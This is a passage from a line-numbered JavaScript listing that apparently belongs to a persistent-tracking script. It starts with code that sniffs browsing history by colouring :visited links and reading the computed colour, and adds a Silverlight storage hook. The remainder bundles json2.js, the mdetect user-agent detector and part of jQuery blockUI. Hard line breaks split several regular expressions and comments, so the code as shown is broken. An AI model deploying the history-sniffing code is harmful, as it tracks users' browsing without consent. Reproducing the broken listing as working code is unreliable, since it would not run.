2968/* create our anchor tag */
2969var _link = this.createElem('a', '_ec_rgb_link');
2970
2971/* for monitoring */
2972var created_style;
2973
2974/* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
2975var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
2976
2977/* Methods for IE6, IE7, FF, Opera, and Safari */
2978try {
2979 created_style = 1;
2980 var style = document.createElement('style');
2981 if (style.styleSheet)
2982 style.styleSheet.innerHTML = _cssText;
2983 else if (style.innerHTML)
2984 style.innerHTML = _cssText;
2985 else
2986 {
2987 var cssT = document.createTextNode(_cssText);
2988 style.appendChild(cssT);
2989 }
2990} catch (e) {
2991 created_style = 0;
2992}
2993
2994/* if test_color, return -1 if we can't set a style */
2995this._getRGB = function (u, test_color) {
2996 if (test_color && created_style == 0)
2997 return -1;
2998
2999 /* create the new anchor tag with the appropriate URL information */
3000 _link.href = u;
3001 _link.innerHTML = u;
3002 // not sure why, but the next two appendChilds always have to happen vs just once
3003 document.body.appendChild(style);
3004 document.body.appendChild(_link);
3005
3006 /* add the link to the DOM and save the visible computed color */
3007 var color;
3008 if (document.defaultView)
3009 color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
3010 else
3011 color = _link.currentStyle['color'];
3012
3013 return color;
3014};
3015
3016this._testURL = function(url, no_color){
3017 var color = this._getRGB(url);
3018
3019 /* check to see if the link has been visited if the computed color is red */
3020 if (color == "rgb(255, 0, 0)" || color == "#ff0000")
3021 return 1;
3022
3023 /* if our style trick didn't work, just compare default style colors */
3024 else if (no_color && color != no_color)
3025 return 1;
3026
3027 /* not found */
3028 return 0;
3029}
3030
3031};
3032
3033return _class;
3034})();
3035
3036
3037/*
3038 * Again, ugly workaround....same problem as flash.
3039*/
3040var _global_isolated;
3041function onSilverlightLoad(sender, args) {
3042 var control = sender.getHost();
3043 _global_isolated = control.Content.App.getIsolatedStorage();
3044}
3045/*
3046function onSilverlightError(sender, args) {
3047 _global_isolated = "";
3048
3049}*/
3050function onSilverlightError(sender, args) {
3051 _global_isolated = "";
3052}
3053
3054
3055/*
3056 https://github.com/douglascrockford/JSON-js/blob/master/json2.js
3057 2011-02-23
3058
3059// Create a JSON object only if one does not already exist. We create the
3060// methods in a closure to avoid creating global variables.
3061*/
3062
3063var JSON;
3064if (!JSON) {
3065 JSON = {};
3066}
3067
3068(function () {
3069 "use strict";
3070
3071 function f(n) {
3072 // Format integers to have at least two digits.
3073 return n < 10 ? '0' + n : n;
3074 }
3075
3076 if (typeof Date.prototype.toJSON !== 'function') {
3077
3078 Date.prototype.toJSON = function (key) {
3079
3080 return isFinite(this.valueOf()) ?
3081 this.getUTCFullYear() + '-' +
3082 f(this.getUTCMonth() + 1) + '-' +
3083 f(this.getUTCDate()) + 'T' +
3084 f(this.getUTCHours()) + ':' +
3085 f(this.getUTCMinutes()) + ':' +
3086 f(this.getUTCSeconds()) + 'Z' : null;
3087 };
3088
3089 String.prototype.toJSON =
3090 Number.prototype.toJSON =
3091 Boolean.prototype.toJSON = function (key) {
3092 return this.valueOf();
3093 };
3094 }
3095
3096 var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff
3097
3098\ufff0-\uffff]/g,
3099 escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f
3100
3101\u2060-\u206f\ufeff\ufff0-\uffff]/g,
3102 gap,
3103 indent,
3104 meta = { // table of character substitutions
3105 '\b': '\\b',
3106 '\t': '\\t',
3107 '\n': '\\n',
3108 '\f': '\\f',
3109 '\r': '\\r',
3110 '"' : '\\"',
3111 '\\': '\\\\'
3112 },
3113 rep;
3114
3115
3116 function quote(string) {
3117
3118// If the string contains no control characters, no quote characters, and no
3119// backslash characters, then we can safely slap some quotes around it.
3120// Otherwise we must also replace the offending characters with safe escape
3121// sequences.
3122
3123 escapable.lastIndex = 0;
3124 return escapable.test(string) ? '"' + string.replace(escapable, function (a) {
3125 var c = meta[a];
3126 return typeof c === 'string' ? c :
3127 '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
3128 }) + '"' : '"' + string + '"';
3129 }
3130
3131
3132 function str(key, holder) {
3133
3134// Produce a string from holder[key].
3135
3136 var i, // The loop counter.
3137 k, // The member key.
3138 v, // The member value.
3139 length,
3140 mind = gap,
3141 partial,
3142 value = holder[key];
3143
3144// If the value has a toJSON method, call it to obtain a replacement value.
3145
3146 if (value && typeof value === 'object' &&
3147 typeof value.toJSON === 'function') {
3148 value = value.toJSON(key);
3149 }
3150
3151// If we were called with a replacer function, then call the replacer to
3152// obtain a replacement value.
3153
3154 if (typeof rep === 'function') {
3155 value = rep.call(holder, key, value);
3156 }
3157
3158// What happens next depends on the value's type.
3159
3160 switch (typeof value) {
3161 case 'string':
3162 return quote(value);
3163
3164 case 'number':
3165
3166// JSON numbers must be finite. Encode non-finite numbers as null.
3167
3168 return isFinite(value) ? String(value) : 'null';
3169
3170 case 'boolean':
3171 case 'null':
3172
3173// If the value is a boolean or null, convert it to a string. Note:
3174// typeof null does not produce 'null'. The case is included here in
3175// the remote chance that this gets fixed someday.
3176
3177 return String(value);
3178
3179// If the type is 'object', we might be dealing with an object or an array or
3180// null.
3181
3182 case 'object':
3183
3184// Due to a specification blunder in ECMAScript, typeof null is 'object',
3185// so watch out for that case.
3186
3187 if (!value) {
3188 return 'null';
3189 }
3190
3191// Make an array to hold the partial results of stringifying this object value.
3192
3193 gap += indent;
3194 partial = [];
3195
3196// Is the value an array?
3197
3198 if (Object.prototype.toString.apply(value) === '[object Array]') {
3199
3200// The value is an array. Stringify every element. Use null as a placeholder
3201// for non-JSON values.
3202
3203 length = value.length;
3204 for (i = 0; i < length; i += 1) {
3205 partial[i] = str(i, value) || 'null';
3206 }
3207
3208// Join all of the elements together, separated with commas, and wrap them in
3209// brackets.
3210
3211 v = partial.length === 0 ? '[]' : gap ?
3212 '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' :
3213 '[' + partial.join(',') + ']';
3214 gap = mind;
3215 return v;
3216 }
3217
3218// If the replacer is an array, use it to select the members to be stringified.
3219
3220 if (rep && typeof rep === 'object') {
3221 length = rep.length;
3222 for (i = 0; i < length; i += 1) {
3223 if (typeof rep[i] === 'string') {
3224 k = rep[i];
3225 v = str(k, value);
3226 if (v) {
3227 partial.push(quote(k) + (gap ? ': ' : ':') + v);
3228 }
3229 }
3230 }
3231 } else {
3232
3233// Otherwise, iterate through all of the keys in the object.
3234
3235 for (k in value) {
3236 if (Object.prototype.hasOwnProperty.call(value, k)) {
3237 v = str(k, value);
3238 if (v) {
3239 partial.push(quote(k) + (gap ? ': ' : ':') + v);
3240 }
3241 }
3242 }
3243 }
3244
3245// Join all of the member texts together, separated with commas,
3246// and wrap them in braces.
3247
3248 v = partial.length === 0 ? '{}' : gap ?
3249 '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' :
3250 '{' + partial.join(',') + '}';
3251 gap = mind;
3252 return v;
3253 }
3254 }
3255
3256// If the JSON object does not yet have a stringify method, give it one.
3257
3258 if (typeof JSON.stringify !== 'function') {
3259 JSON.stringify = function (value, replacer, space) {
3260
3261// The stringify method takes a value and an optional replacer, and an optional
3262// space parameter, and returns a JSON text. The replacer can be a function
3263// that can replace values, or an array of strings that will select the keys.
3264// A default replacer method can be provided. Use of the space parameter can
3265// produce text that is more easily readable.
3266
3267 var i;
3268 gap = '';
3269 indent = '';
3270
3271// If the space parameter is a number, make an indent string containing that
3272// many spaces.
3273
3274 if (typeof space === 'number') {
3275 for (i = 0; i < space; i += 1) {
3276 indent += ' ';
3277 }
3278
3279// If the space parameter is a string, it will be used as the indent string.
3280
3281 } else if (typeof space === 'string') {
3282 indent = space;
3283 }
3284
3285// If there is a replacer, it must be a function or an array.
3286// Otherwise, throw an error.
3287
3288 rep = replacer;
3289 if (replacer && typeof replacer !== 'function' &&
3290 (typeof replacer !== 'object' ||
3291 typeof replacer.length !== 'number')) {
3292 throw new Error('JSON.stringify');
3293 }
3294
3295// Make a fake root object containing our value under the key of ''.
3296// Return the result of stringifying the value.
3297
3298 return str('', {'': value});
3299 };
3300 }
3301
3302
3303// If the JSON object does not yet have a parse method, give it one.
3304
3305 if (typeof JSON.parse !== 'function') {
3306 JSON.parse = function (text, reviver) {
3307
3308// The parse method takes a text and an optional reviver function, and returns
3309// a JavaScript value if the text is a valid JSON text.
3310
3311 var j;
3312
3313 function walk(holder, key) {
3314
3315// The walk method is used to recursively walk the resulting structure so
3316// that modifications can be made.
3317
3318 var k, v, value = holder[key];
3319 if (value && typeof value === 'object') {
3320 for (k in value) {
3321 if (Object.prototype.hasOwnProperty.call(value, k)) {
3322 v = walk(value, k);
3323 if (v !== undefined) {
3324 value[k] = v;
3325 } else {
3326 delete value[k];
3327 }
3328 }
3329 }
3330 }
3331 return reviver.call(holder, key, value);
3332 }
3333
3334
3335// Parsing happens in four stages. In the first stage, we replace certain
3336// Unicode characters with escape sequences. JavaScript handles many characters
3337// incorrectly, either silently deleting them, or treating them as line endings.
3338
3339 text = String(text);
3340 cx.lastIndex = 0;
3341 if (cx.test(text)) {
3342 text = text.replace(cx, function (a) {
3343 return '\\u' +
3344 ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
3345 });
3346 }
3347
3348// In the second stage, we run the text against regular expressions that look
3349// for non-JSON patterns. We are especially concerned with '()' and 'new'
3350// because they can cause invocation, and '=' because it can cause mutation.
3351// But just to be safe, we want to reject all unexpected forms.
3352
3353// We split the second stage into 4 regexp operations in order to work around
3354// crippling inefficiencies in IE's and Safari's regexp engines. First we
3355// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
3356// replace all simple value tokens with ']' characters. Third, we delete all
3357// open brackets that follow a colon or comma or that begin the text. Finally,
3358// we look to see that the remaining characters are only whitespace or ']' or
3359// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
3360
3361 if (/^[\],:{}\s]*$/
3362 .test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
3363 .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
3364 .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
3365
3366// In the third stage we use the eval function to compile the text into a
3367// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
3368// in JavaScript: it can begin a block or an object literal. We wrap the text
3369// in parens to eliminate the ambiguity.
3370
3371 j = eval('(' + text + ')');
3372
3373// In the optional fourth stage, we recursively walk the new structure, passing
3374// each name/value pair to a reviver function for possible transformation.
3375
3376 return typeof reviver === 'function' ?
3377 walk({'': j}, '') : j;
3378 }
3379
3380// If the text is not JSON parseable, then a SyntaxError is thrown.
3381
3382 throw new SyntaxError('JSON.parse');
3383 };
3384 }
3385}());
3386
3387
3388
3389/* *******************************************
3390// Copyright 2010-2012, Anthony Hand
3391// mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
3392// LICENSE INFORMATION
3393// Licensed under the Apache License, Version 2.0 (the "License");
3394// you may not use this file except in compliance with the License.
3395// You may obtain a copy of the License at
3396// http://www.apache.org/licenses/LICENSE-2.0
3397// Unless required by applicable law or agreed to in writing,
3398// software distributed under the License is distributed on an
3399// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
3400// either express or implied. See the License for the specific
3401// language governing permissions and limitations under the License.
3402// *******************************************
3403*/
3404
3405var isIphone = false;
3406var isAndroidPhone = false;
3407var isTierTablet = false;
3408var isTierIphone = false;
3409var isTierRichCss = false;
3410var isTierGenericMobile = false;
3411
3412var engineWebKit = "webkit";
3413var deviceIphone = "iphone";
3414var deviceIpod = "ipod";
3415var deviceIpad = "ipad";
3416var deviceMacPpc = "macintosh"; //Used for disambiguation
3417
3418var deviceAndroid = "android";
3419var deviceGoogleTV = "googletv";
3420var deviceXoom = "xoom"; //Motorola Xoom
3421var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
3422
3423var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
3424
3425var deviceSymbian = "symbian";
3426var deviceS60 = "series60";
3427var deviceS70 = "series70";
3428var deviceS80 = "series80";
3429var deviceS90 = "series90";
3430
3431var deviceWinPhone7 = "windows phone os 7";
3432var deviceWinMob = "windows ce";
3433var deviceWindows = "windows";
3434var deviceIeMob = "iemobile";
3435var devicePpc = "ppc"; //Stands for PocketPC
3436var enginePie = "wm5 pie"; //An old Windows Mobile
3437
3438var deviceBB = "blackberry";
3439var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
3440var deviceBBStorm = "blackberry95"; //Storm 1 and 2
3441var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
3442var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
3443var deviceBBTour = "blackberry96"; //Tour
3444var deviceBBCurve = "blackberry89"; //Curve 2
3445var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
3446var deviceBBTorch = "blackberry 98"; //Torch
3447var deviceBBPlaybook = "playbook"; //PlayBook tablet
3448
3449var devicePalm = "palm";
3450var deviceWebOS = "webos"; //For Palm's line of WebOS devices
3451var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
3452
3453var engineBlazer = "blazer"; //Old Palm browser
3454var engineXiino = "xiino";
3455
3456var deviceKindle = "kindle"; //Amazon Kindle, eInk one
3457var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
3458
3459var vndwap = "vnd.wap";
3460var wml = "wml";
3461
3462var deviceTablet = "tablet"; //Generic term for slate and tablet devices
3463var deviceBrew = "brew";
3464var deviceDanger = "danger";
3465var deviceHiptop = "hiptop";
3466var devicePlaystation = "playstation";
3467var deviceNintendoDs = "nitro";
3468var deviceNintendo = "nintendo";
3469var deviceWii = "wii";
3470var deviceXbox = "xbox";
3471var deviceArchos = "archos";
3472
3473var engineOpera = "opera"; //Popular browser
3474var engineNetfront = "netfront"; //Common embedded OS browser
3475var engineUpBrowser = "up.browser"; //common on some phones
3476var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
3477var deviceMidp = "midp"; //a mobile Java technology
3478var uplink = "up.link";
3479var engineTelecaQ = 'teleca q'; //a modern feature phone browser
3480
3481var devicePda = "pda";
3482var mini = "mini"; //Some mobile browsers put 'mini' in their names.
3483var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
3484var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
3485
3486var maemo = "maemo";
3487var linux = "linux";
3488var qtembedded = "qt embedded"; //for Sony Mylo and others
3489var mylocom2 = "com2"; //for Sony Mylo also
3490
3491var manuSonyEricsson = "sonyericsson";
3492var manuericsson = "ericsson";
3493var manuSamsung1 = "sec-sgh";
3494var manuSony = "sony";
3495var manuHtc = "htc"; //Popular Android and WinMo manufacturer
3496
3497var svcDocomo = "docomo";
3498var svcKddi = "kddi";
3499var svcVodafone = "vodafone";
3500
3501var disUpdate = "update"; //pda vs. update
3502
3503var uagent = "";
3504if (navigator && navigator.userAgent)
3505 uagent = navigator.userAgent.toLowerCase();
3506
3507function DetectIphone()
3508{
3509 if (uagent.search(deviceIphone) > -1)
3510 {
3511 if (DetectIpad() || DetectIpod())
3512 return false;
3513 else
3514 return true;
3515 }
3516 else
3517 return false;
3518}
3519
3520function DetectIpod()
3521{
3522 if (uagent.search(deviceIpod) > -1)
3523 return true;
3524 else
3525 return false;
3526}
3527
3528function DetectIpad()
3529{
3530 if (uagent.search(deviceIpad) > -1 && DetectWebkit())
3531 return true;
3532 else
3533 return false;
3534}
3535
3536function DetectIphoneOrIpod()
3537{
3538 if (uagent.search(deviceIphone) > -1 ||
3539 uagent.search(deviceIpod) > -1)
3540 return true;
3541 else
3542 return false;
3543}
3544
3545function DetectIos()
3546{
3547 if (DetectIphoneOrIpod() || DetectIpad())
3548 return true;
3549 else
3550 return false;
3551}
3552
3553function DetectAndroid()
3554{
3555 if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
3556 return true;
3557 if (uagent.search(deviceHtcFlyer) > -1)
3558 return true;
3559 else
3560 return false;
3561}
3562
3563function DetectAndroidPhone()
3564{
3565 if (DetectAndroid() && (uagent.search(mobile) > -1))
3566 return true;
3567 if (DetectOperaAndroidPhone())
3568 return true;
3569 if (uagent.search(deviceHtcFlyer) > -1)
3570 return true;
3571 else
3572 return false;
3573}
3574
3575function DetectAndroidTablet()
3576{
3577 if (!DetectAndroid())
3578 return false;
3579
3580 if (DetectOperaMobile())
3581 return false;
3582 if (uagent.search(deviceHtcFlyer) > -1)
3583 return false;
3584
3585 if (uagent.search(mobile) > -1)
3586 return false;
3587 else
3588 return true;
3589}
3590
3591
3592function DetectAndroidWebKit()
3593{
3594 if (DetectAndroid() && DetectWebkit())
3595 return true;
3596 else
3597 return false;
3598}
3599
3600
3601function DetectGoogleTV()
3602{
3603 if (uagent.search(deviceGoogleTV) > -1)
3604 return true;
3605 else
3606 return false;
3607}
3608
3609
3610function DetectWebkit()
3611{
3612 if (uagent.search(engineWebKit) > -1)
3613 return true;
3614 else
3615 return false;
3616}
3617
3618function DetectS60OssBrowser()
3619{
3620 if (DetectWebkit())
3621 {
3622 if ((uagent.search(deviceS60) > -1 ||
3623 uagent.search(deviceSymbian) > -1))
3624 return true;
3625 else
3626 return false;
3627 }
3628 else
3629 return false;
3630}
3631
3632function DetectSymbianOS()
3633{
3634 if (uagent.search(deviceSymbian) > -1 ||
3635 uagent.search(deviceS60) > -1 ||
3636 uagent.search(deviceS70) > -1 ||
3637 uagent.search(deviceS80) > -1 ||
3638 uagent.search(deviceS90) > -1)
3639 return true;
3640 else
3641 return false;
3642}
3643
3644function DetectWindowsPhone7()
3645{
3646 if (uagent.search(deviceWinPhone7) > -1)
3647 return true;
3648 else
3649 return false;
3650}
3651
3652function DetectWindowsMobile()
3653{
3654 if (DetectWindowsPhone7())
3655 return false;
3656 if (uagent.search(deviceWinMob) > -1 ||
3657 uagent.search(deviceIeMob) > -1 ||
3658 uagent.search(enginePie) > -1)
3659 return true;
3660 if ((uagent.search(devicePpc) > -1) &&
3661 !(uagent.search(deviceMacPpc) > -1))
3662 return true;
3663 if (uagent.search(manuHtc) > -1 &&
3664 uagent.search(deviceWindows) > -1)
3665 return true;
3666 else
3667 return false;
3668}
3669
3670function DetectBlackBerry()
3671{
3672 if (uagent.search(deviceBB) > -1)
3673 return true;
3674 if (uagent.search(vndRIM) > -1)
3675 return true;
3676 else
3677 return false;
3678}
3679
3680function DetectBlackBerryTablet()
3681{
3682 if (uagent.search(deviceBBPlaybook) > -1)
3683 return true;
3684 else
3685 return false;
3686}
3687
3688function DetectBlackBerryWebKit()
3689{
3690 if (DetectBlackBerry() &&
3691 uagent.search(engineWebKit) > -1)
3692 return true;
3693 else
3694 return false;
3695}
3696
3697function DetectBlackBerryTouch()
3698{
3699 if (DetectBlackBerry() &&
3700 ((uagent.search(deviceBBStorm) > -1) ||
3701 (uagent.search(deviceBBTorch) > -1) ||
3702 (uagent.search(deviceBBBoldTouch) > -1) ||
3703 (uagent.search(deviceBBCurveTouch) > -1) ))
3704 return true;
3705 else
3706 return false;
3707}
3708
3709function DetectBlackBerryHigh()
3710{
3711 if (DetectBlackBerryWebKit())
3712 return false;
3713 if (DetectBlackBerry())
3714 {
3715 if (DetectBlackBerryTouch() ||
3716 uagent.search(deviceBBBold) > -1 ||
3717 uagent.search(deviceBBTour) > -1 ||
3718 uagent.search(deviceBBCurve) > -1)
3719 return true;
3720 else
3721 return false;
3722 }
3723 else
3724 return false;
3725}
3726
3727function DetectBlackBerryLow()
3728{
3729 if (DetectBlackBerry())
3730 {
3731 if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
3732 return false;
3733 else
3734 return true;
3735 }
3736 else
3737 return false;
3738}
3739
3740
3741function DetectPalmOS()
3742{
3743 if (uagent.search(devicePalm) > -1 ||
3744 uagent.search(engineBlazer) > -1 ||
3745 uagent.search(engineXiino) > -1)
3746 {
3747 if (DetectPalmWebOS())
3748 return false;
3749 else
3750 return true;
3751 }
3752 else
3753 return false;
3754}
3755
3756function DetectPalmWebOS()
3757{
3758 if (uagent.search(deviceWebOS) > -1)
3759 return true;
3760 else
3761 return false;
3762}
3763
3764function DetectWebOSTablet()
3765{
3766 if (uagent.search(deviceWebOShp) > -1 &&
3767 uagent.search(deviceTablet) > -1)
3768 return true;
3769 else
3770 return false;
3771}
3772
3773function DetectGarminNuvifone()
3774{
3775 if (uagent.search(deviceNuvifone) > -1)
3776 return true;
3777 else
3778 return false;
3779}
3780
3781
3782function DetectSmartphone()
3783{
3784 if (DetectIphoneOrIpod()
3785 || DetectAndroidPhone()
3786 || DetectS60OssBrowser()
3787 || DetectSymbianOS()
3788 || DetectWindowsMobile()
3789 || DetectWindowsPhone7()
3790 || DetectBlackBerry()
3791 || DetectPalmWebOS()
3792 || DetectPalmOS()
3793 || DetectGarminNuvifone())
3794 return true;
3795
3796 return false;
3797};
3798
3799function DetectArchos()
3800{
3801 if (uagent.search(deviceArchos) > -1)
3802 return true;
3803 else
3804 return false;
3805}
3806
3807function DetectBrewDevice()
3808{
3809 if (uagent.search(deviceBrew) > -1)
3810 return true;
3811 else
3812 return false;
3813}
3814
3815function DetectDangerHiptop()
3816{
3817 if (uagent.search(deviceDanger) > -1 ||
3818 uagent.search(deviceHiptop) > -1)
3819 return true;
3820 else
3821 return false;
3822}
3823
3824function DetectMaemoTablet()
3825{
3826 if (uagent.search(maemo) > -1)
3827 return true;
3828 if ((uagent.search(linux) > -1)
3829 && (uagent.search(deviceTablet) > -1)
3830 && !DetectWebOSTablet()
3831 && !DetectAndroid())
3832 return true;
3833 else
3834 return false;
3835}
3836
3837function DetectSonyMylo()
3838{
3839 if (uagent.search(manuSony) > -1)
3840 {
3841 if (uagent.search(qtembedded) > -1 ||
3842 uagent.search(mylocom2) > -1)
3843 return true;
3844 else
3845 return false;
3846 }
3847 else
3848 return false;
3849}
3850
3851function DetectOperaMobile()
3852{
3853 if (uagent.search(engineOpera) > -1)
3854 {
3855 if (uagent.search(mini) > -1 ||
3856 uagent.search(mobi) > -1)
3857 return true;
3858 else
3859 return false;
3860 }
3861 else
3862 return false;
3863}
3864
3865function DetectOperaAndroidPhone()
3866{
3867 if ((uagent.search(engineOpera) > -1) &&
3868 (uagent.search(deviceAndroid) > -1) &&
3869 (uagent.search(mobi) > -1))
3870 return true;
3871 else
3872 return false;
3873}
3874
3875function DetectOperaAndroidTablet()
3876{
3877 if ((uagent.search(engineOpera) > -1) &&
3878 (uagent.search(deviceAndroid) > -1) &&
3879 (uagent.search(deviceTablet) > -1))
3880 return true;
3881 else
3882 return false;
3883}
3884
3885function DetectSonyPlaystation()
3886{
3887 if (uagent.search(devicePlaystation) > -1)
3888 return true;
3889 else
3890 return false;
3891};
3892
3893function DetectNintendo()
3894{
3895 if (uagent.search(deviceNintendo) > -1 ||
3896 uagent.search(deviceWii) > -1 ||
3897 uagent.search(deviceNintendoDs) > -1)
3898 return true;
3899 else
3900 return false;
3901};
3902
3903function DetectXbox()
3904{
3905 if (uagent.search(deviceXbox) > -1)
3906 return true;
3907 else
3908 return false;
3909};
3910
3911function DetectGameConsole()
3912{
3913 if (DetectSonyPlaystation())
3914 return true;
3915 if (DetectNintendo())
3916 return true;
3917 if (DetectXbox())
3918 return true;
3919 else
3920 return false;
3921};
3922
3923function DetectKindle()
3924{
3925 if (uagent.search(deviceKindle) > -1 &&
3926 !DetectAndroid())
3927 return true;
3928 else
3929 return false;
3930}
3931
3932function DetectAmazonSilk()
3933{
3934 if (uagent.search(engineSilk) > -1)
3935 return true;
3936 else
3937 return false;
3938}
3939
3940function DetectMobileQuick()
3941{
3942 if (DetectTierTablet())
3943 return false;
3944
3945 if (DetectSmartphone())
3946 return true;
3947
3948 if (uagent.search(deviceMidp) > -1 ||
3949 DetectBrewDevice())
3950 return true;
3951
3952 if (DetectOperaMobile())
3953 return true;
3954
3955 if (uagent.search(engineNetfront) > -1)
3956 return true;
3957 if (uagent.search(engineUpBrowser) > -1)
3958 return true;
3959 if (uagent.search(engineOpenWeb) > -1)
3960 return true;
3961
3962 if (DetectDangerHiptop())
3963 return true;
3964
3965 if (DetectMaemoTablet())
3966 return true;
3967 if (DetectArchos())
3968 return true;
3969
3970 if ((uagent.search(devicePda) > -1) &&
3971 !(uagent.search(disUpdate) > -1))
3972 return true;
3973 if (uagent.search(mobile) > -1)
3974 return true;
3975
3976 if (DetectKindle() ||
3977 DetectAmazonSilk())
3978 return true;
3979
3980 return false;
3981};
3982
3983
3984function DetectMobileLong()
3985{
3986 if (DetectMobileQuick())
3987 return true;
3988 if (DetectGameConsole())
3989 return true;
3990 if (DetectSonyMylo())
3991 return true;
3992
3993 if (uagent.search(manuSamsung1) > -1 ||
3994 uagent.search(manuSonyEricsson) > -1 ||
3995 uagent.search(manuericsson) > -1)
3996 return true;
3997
3998 if (uagent.search(svcDocomo) > -1)
3999 return true;
4000 if (uagent.search(svcKddi) > -1)
4001 return true;
4002 if (uagent.search(svcVodafone) > -1)
4003 return true;
4004
4005
4006 return false;
4007};
4008
4009
4010function DetectTierTablet()
4011{
4012 if (DetectIpad()
4013 || DetectAndroidTablet()
4014 || DetectBlackBerryTablet()
4015 || DetectWebOSTablet())
4016 return true;
4017 else
4018 return false;
4019};
4020
4021function DetectTierIphone()
4022{
4023 if (DetectIphoneOrIpod())
4024 return true;
4025 if (DetectAndroidPhone())
4026 return true;
4027 if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
4028 return true;
4029 if (DetectWindowsPhone7())
4030 return true;
4031 if (DetectPalmWebOS())
4032 return true;
4033 if (DetectGarminNuvifone())
4034 return true;
4035 else
4036 return false;
4037};
4038
4039function DetectTierRichCss()
4040{
4041 if (DetectMobileQuick())
4042 {
4043 if (DetectTierIphone() || DetectKindle())
4044 return false;
4045
4046 if (DetectWebkit())
4047 return true;
4048 if (DetectS60OssBrowser())
4049 return true;
4050
4051 if (DetectBlackBerryHigh())
4052 return true;
4053
4054 if (DetectWindowsMobile())
4055 return true;
4056
4057 if (uagent.search(engineTelecaQ) > -1)
4058 return true;
4059
4060 else
4061 return false;
4062 }
4063 else
4064 return false;
4065};
4066
4067function DetectTierOtherPhones()
4068{
4069 if (DetectMobileLong())
4070 {
4071 if (DetectTierIphone() || DetectTierRichCss())
4072 return false;
4073
4074 else
4075 return true;
4076 }
4077 else
4078 return false;
4079};
4080
4081
4082function InitDeviceScan()
4083{
4084 isIphone = DetectIphoneOrIpod();
4085 isAndroidPhone = DetectAndroidPhone();
4086 isTierIphone = DetectTierIphone();
4087 isTierTablet = DetectTierTablet();
4088
4089 isTierRichCss = DetectTierRichCss();
4090 isTierGenericMobile = DetectTierOtherPhones();
4091};
4092
4093try {
4094 InitDeviceScan();
4095}catch(e){}
4096
4097
4098/*!
4099 * jQuery blockUI plugin
4100 * Version 2.70.0-2014.11.23
4101 * Requires jQuery v1.7 or later
4102 *
4103 * Examples at: http://malsup.com/jquery/block/
4104 * Copyright (c) 2007-2013 M. Alsup
4105 * Dual licensed under the MIT and GPL licenses:
4106 * http://www.opensource.org/licenses/mit-license.php
4107 * http://www.gnu.org/licenses/gpl.html
4108 *
4109 * Thanks to Amir-Hossein Sobhi for some excellent contributions!
4110 */
4111
4112;(function() {
4113/*jshint eqeqeq:false curly:false latedef:false */
4114"use strict";
4115
4116 function setup($) {
4117 $.fn._fadeIn = $.fn.fadeIn;
4118
4119 var noOp = $.noop || function() {};
4120
4121 // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to
4122
4123handle
4124 // confusing userAgent strings on Vista)
4125 var msie = /MSIE/.test(navigator.userAgent);
4126 var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
4127 var mode = document.documentMode || 0;
4128 var setExpr = $.isFunction( document.createElement('div').style.setExpression );
4129
4130 // global $ methods for blocking/unblocking the entire page
4131 $.blockUI = function(opts) { install(window, opts); };
4132 $.unblockUI = function(opts) { remove(window, opts); };
4133
4134 // convenience method for quick growl-like notifications
4135
4136(http://www.google.com/search?q=growl)
4137 $.growlUI = function(title, message, timeout, onClose) {
4138 var $m = $('<div class="growlUI"></div>');
4139 if (title) $m.append('<h1>'+title+'</h1>');
4140 if (message) $m.append('<h2>'+message+'</h2>');
4141 if (timeout === undefined) timeout = 3000;
4142
4143 // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like
4144
4145normal toast notifications
4146 var callBlock = function(opts) {
4147 opts = opts || {};
4148
4149 $.blockUI({
4150 message: $m,
4151 fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn :
4152
4153700,
4154 fadeOut: typeof opts.fadeOut !== 'undefined' ?
4155
4156opts.fadeOut : 1000,
4157 timeout: typeof opts.timeout !== 'undefined' ? opts.timeout
4158
4159: timeout,
4160 centerY: false,
4161 showOverlay: false,
4162 onUnblock: onClose,
4163 css: $.blockUI.defaults.growlCSS
4164 });
4165 };
4166
4167 callBlock();
4168 var nonmousedOpacity = $m.css('opacity');
4169 $m.mouseover(function() {
4170 callBlock({
4171 fadeIn: 0,
4172 timeout: 30000
4173 });
4174
4175 var displayBlock = $('.blockMsg');
4176 displayBlock.stop(); // cancel fadeout if it has started
4177 displayBlock.fadeTo(300, 1); // make it easier to read the message by
4178
4179removing transparency
4180 }).mouseout(function() {
4181 $('.blockMsg').fadeOut(1000);
4182 });
4183 // End konapun additions
4184 };
4185
4186 // plugin method for blocking element content
4187 $.fn.block = function(opts) {
